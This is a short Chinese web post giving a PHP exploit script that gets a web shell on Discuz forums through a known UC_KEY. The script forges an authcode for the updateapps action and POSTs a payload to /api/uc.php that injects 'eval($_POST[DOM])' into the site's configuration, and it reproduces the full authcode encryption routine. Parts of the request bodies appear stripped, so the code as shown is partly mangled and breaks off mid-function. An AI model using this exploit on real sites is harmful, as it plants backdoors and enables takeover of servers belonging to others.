Discuz的利用UC_KEY进行getshell

本文介绍了一种通过利用Discuz的UC_KEY机制来获取Web Shell的方法。该方法通过构造特定的请求来触发漏洞,实现远程代码执行。文中包含了具体的PHP代码示例。
  Discuz的利用UC_KEY进行getshell

   

  // 代码版权归原作者所有!

  $timestamp = time()+10*3600;

  $host="127.0.0.1";

  $uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";

  $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));

  $cmd1='

  

  http://x\');eval($_POST[DOM]);//

  ';

  $cmd2='

  

  http://x

  ';

  $html1 = send($cmd1);

  echo $html1;

  $html2 = send($cmd2);

  echo $html2;

  function send($cmd){

  global $host,$code;

  $message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";

  $message .= "Accept: */*\r\n";

  $message .= "Referer: ".$host."\r\n";

  $message .= "Accept-Language: zh-cn\r\n";

  $message .= "Content-Type: application/x-www-form-urlencoded\r\n";

  $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

  $message .= "Host: ".$host."\r\n";

  $message .= "Content-Length: ".strlen($cmd)."\r\n";

  $message .= "Connection: Close\r\n\r\n";

  $message .= $cmd;

  //var_dump($message);

  $fp = fsockopen($host, 80);

  fputs($fp, $message);

  $resp = '';

  while ($fp && !feof($fp))

  $resp .= fread($fp, 1024);

  return $resp;

  }

  function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

  $ckey_length = 4;

  $key = md5($key ? $key : UC_KEY);

  $keya = md5(substr($key, 0, 16));

  $keyb = md5(substr($key, 16, 16));

  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

  $cryptkey = $keya.md5($keya.$keyc);

  $key_length = strlen($cryptkey);

  $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

  $string_length = strlen($string);

  $result = '';

  $box = range(0, 255);

  $rndkey = array();

  for($i = 0; $i <= 255; $i++) {

  $rndkey[$i] = ord($cryptkey[$i % $key_length]);

  }

  for($j = $i = 0; $i < 256; $i++) {

  $j = ($j + $box[$i] + $rndkey[$i]) % 256;

  $tmp = $box[$i];

  $box[$i] = $box[$j];

  $box[$j] = $tmp;

  }

  for($a = $j = $i = 0; $i < $string_length; $i++) {

  $a = ($a + 1) % 256;

  $j = ($j + $box[$a]) % 256;

  $tmp = $box[$a];

  $box[$a] = $box[$j];

  $box[$j] = $tmp;

  $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

  }

  if($operation == 'DECODE') {

  if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

  return substr($result, 26);

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